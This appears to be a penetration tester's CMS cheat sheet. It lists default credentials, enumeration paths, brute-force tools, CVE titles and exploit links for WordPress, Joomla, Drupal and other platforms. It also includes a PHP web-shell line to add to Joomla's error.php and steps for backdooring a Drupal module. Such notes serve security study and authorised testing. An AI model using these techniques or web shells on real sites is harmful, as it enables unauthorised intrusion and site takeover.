CMS
Exploit Wordpress, Drupal, Joomla and others CMS
Default credentials
Default Credentialscat /opt/tools/metasploit-framework/data/wordlists/cms400net_default_userpass.txt
admin admin
builtin builtin
jedit jedit
jmember jmember
Admin2 Admin2
tbrown tbrown
jsmith jsmith
vs vs
EkExplorerUser EkExplorerUser
Explorer Explorer
member@example.com member@example.com
north north
supermember supermember
west westScanner
Awesome RCE Techniques

Nibbleblog
Nibbleblog 4.0.3 - Arbitrary File Upload
GetSimple
Get Simple CMS version 3.3.15 and before - CVE-2019-11231 - Unauthenticated Remote Code Execution (Metasploit)
GetSimple CMS v3.3.16 - Remote Code Execution (RCE)
Wordpress
Discovery
/robots.txt
Version
Log file
Fuzzing
Interesting files - Change Target in wordlist
WAF path-based bypass
Open Registration
Directory Listing enabled
Plugins and Themes
Plugins: wp-content/plugins
Themes: wp-content/themes
Grep on different pages - could found more plugins
Version: readme.txt file in /wp-content/plugins/plugin_name/ ?
Username Enumeration

/wp-login.php


XMLRPC

Check for the following methods:
Brute force
Cross Site Port Attack, XSPA
WPscan
Plugin detection agressive
WPProbe
WPFinger
WPIntel
Nuclei Template
Login Bruteforce
With Hydra
With Kraken
Kraken - All-in-One ToolBypass 403
Bypass 403 / 401XSS to RCE
For Wordpress Versions 6.X.X, 5.X.X and 4.X.X.
Code Execution
Themes

Metasploit
Exploit aborted due to failure: not-found: The target does not appear to be using WordPress set vhost
Others (not CPTS)
Leveraging Known Vulnerabilities
Note: We can use the waybackurls tool to look for older versions of a target site using the Wayback Machine. Sometimes we may find a previous version of a WordPress site using a plugin that has a known vulnerability. If the plugin is no longer in use but the developers did not remove it properly, we may still be able to access the directory it is stored in and exploit a flaw.
Theme - twentytwentyone v1.1
Malicious wav file:
Malicious dtd:
Upload the payload - Medias

Plugin Vulnerabilities
WooCommerce - LFI
Capture request in Burp
Change request method to POST and add:
Also add:

Buddyforms 2.7.7 - Iconv RCE
PHPTime Clock <= 1.2.2 & Time Clock Pro <= 1.1.4 - Unauthenticated (Limited) Remote Code Execution
Really Simple Security 9.0.0 – 9.1.1.1 – CVE-2024-10924 Authentication Bypass
If 2FA is enabled

Change cookies and access the page:

Authenticated Contributor Remote Code Execution in Widget Options Plugin <= 4.0.7 - CVE-2024-8672
Unauthenticated Remote Code Execution - Bit File Manager version 6.0 - 6.5.5
Unauthenticated Remote Code Execution – Bricks Builder plugin <= 1.9.6
ValvePress Automatic - CVE-2024-27956 - SQLi
WordPress User Registration & Membership plugin (Free < 4.1.2, Pro < 5.1.2)
Vulnerable Plugins - mail-masta
Unauthenicated SQLi: https://www.exploit-db.com/exploits/41438
LFI: https://www.exploit-db.com/exploits/50226
Vulnerable Plugins - wpDiscuz
Command execution https://www.exploit-db.com/exploits/49967
But Curl works
Formidable Pro plugin
SQLMAPJoomla
Discovery
robots.txt
Scanners
Version
media/system/js/ directory or administrator/manifests/files/joomla.xml
Enumeration
Wordlist
Droopscan
JoomlaScan
Login Brute Force
The default administrator account on Joomla installs is admin
Also see:
Kraken - All-in-One ToolJoomla! Config Dist File
Database File List
Joomla! 1.6/1.7/2.5 - Privesc by creating admin account
Joomla! < 4.2.8 - Unauthenticated information disclosure - CVE-2023-23752
See HTB - Devvortex WU - Poc: https://github.com/Acceis/exploit-CVE-2023-23752
Code Execution
See Devvortex HTB WU
Templates

Add <?php system($_GET['cmd']);?> to error.php


Non standard file name:
Reverse Shell


Plug In - Web Shell
Joomla < 3.9.5
Joomla < 3.9.5 - CVE-2019-10945: directory traversal and authenticated file deletion vulnerability
Drupal
Discovery/Footprinting
header or footer message Powered by Drupal
CHANGELOG.txt file or README.txt file, via the page source, or clues in the robots.txt file such as references to /node
http://drupal.inlanefreight.local/node/1

Enumeration
Wordlist
/core/install.php accessible
If /core/install.php is publicly accessible, in some cases, it could allow an attacker to reinstall the CMS, leading to a potential site takeover.

Scanners
Droopescan
Drupwn

Login Brute Force
Kraken - All-in-One ToolLeveraging the PHP Filter Module
Drupal before version 8
enable the PHP filter module
http://drupal-qa.inlanefreight.local/#overlay=admin/modules

Content --> Add content and create a Basic page


After clicking save, we will be redirected to the new page
From version 8 onwards
Install the PHP Filter module
Administration > Reports > Available updates.

Once the module is installed, we can click on Content and create a new basic page - Refer to Drupal before version 8
Uploading a Backdoored Module
A backdoored module can be created by adding a shell to an existing module. Modules can be found on the drupal.org website. Here, pick CAPTCHA:
shell.php
create a .htaccess file to give ourselves access to the folder
Copy both of these files to the captcha folder and create an archive
Manage and then Extend on the sidebar. Next, click on the + Install new module button Browse to the backdoored Captcha archive and click Install
Drupalgeddon
Versions 7.0 up to 7.31
Pre-authentication SQL injection which can be used to upload malicious code or add an admin user
We can log to the admin interface et create a shell - See PHP Filter Module
With Metasploit: exploit/multi/http/drupal_drupageddon
Drupalgeddon2
Versions of Drupal prior to 7.58 and 8.5.1 - RCE
Replace the echo command in the exploit script with a command to write out our malicious PHP script
Metasploit: use exploit/unix/webapp/drupal_drupalgeddon2
Drupalgeddon3
Multiple versions of Drupal 7.x and 8.x - >=7.0 <7.59 || >= 8.0.0 <8.4.8 || >=8.5.0 <8.5.3
First log in and obtain a valid session cookie

Pluck CMS
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)
Version 4.7.16
Version 4.7.18
Manually



Go to http://domain.com/data/modules/<name_zip_file>/<rev_shell.php>
Ex: http://domain.com/data/modules/payload/shell.php
WonderCMS
CVE-2023-41425 - XSS to RCE Unauth
Wonder CMS v.3.2.0 thru v.3.4.2
If /wondercms/loginURL does not exist, just try /loginURL
Typo3
If you come across a domain that uses Typo3 CMS, be sure to check its parameters. Old version Typo3 CMS may still earn you reward. Payload;
Scanners
CMS Made Simple
Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
Umbraco
Enumeration
Wordlist
Umbraco - CVE-2019-18988 - RCE
Ghost CMS
Reco
Admin Panel:
/ghost/ – The admin login page.
/ghost/#/signin – Direct link to the sign-in page.
Content and Static Files:
/content/images/ – Default directory for uploaded images.
/content/themes/ – Directory for installed themes.
/content/ – Base directory for content, themes, and images.
API Endpoints:
/ghost/api/v3/ – API endpoint for Ghost CMS v3.
/ghost/api/v4/ – API endpoint for Ghost CMS v4.
/ghost/api/v4/content/ – Public content API endpoint.
/ghost/api/v4/admin/ – Admin API endpoint.
Configuration and Backup Files:
/config.production.json – Configuration file for the production environment (should not be publicly accessible).
/config.development.json – Configuration file for the development environment.
/ghost/api/v3/admin/db/ – Potentially accessible database endpoint for backup
Enumeration
Wordlists
CVE-2024-23724 - Stored XSS
CVE-2023-40028 - Arbitrary File Read
CVE-2023-32235 - Path Traversal
SPIP
Craft CMS
Enumeration
Wordlists
CVE-2025-32432: Craft CMS Preauth RCE
CVE-2024-56145
Kentico CMS
XSS to RCE - CVE-2025-2748
FoxCMS
Sitecore Experience Platform
Cache Poisoning
Backdrop CMS
Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)
Interesting Books
Interesting BooksThe Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
Support this Gitbook
I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.
Last updated



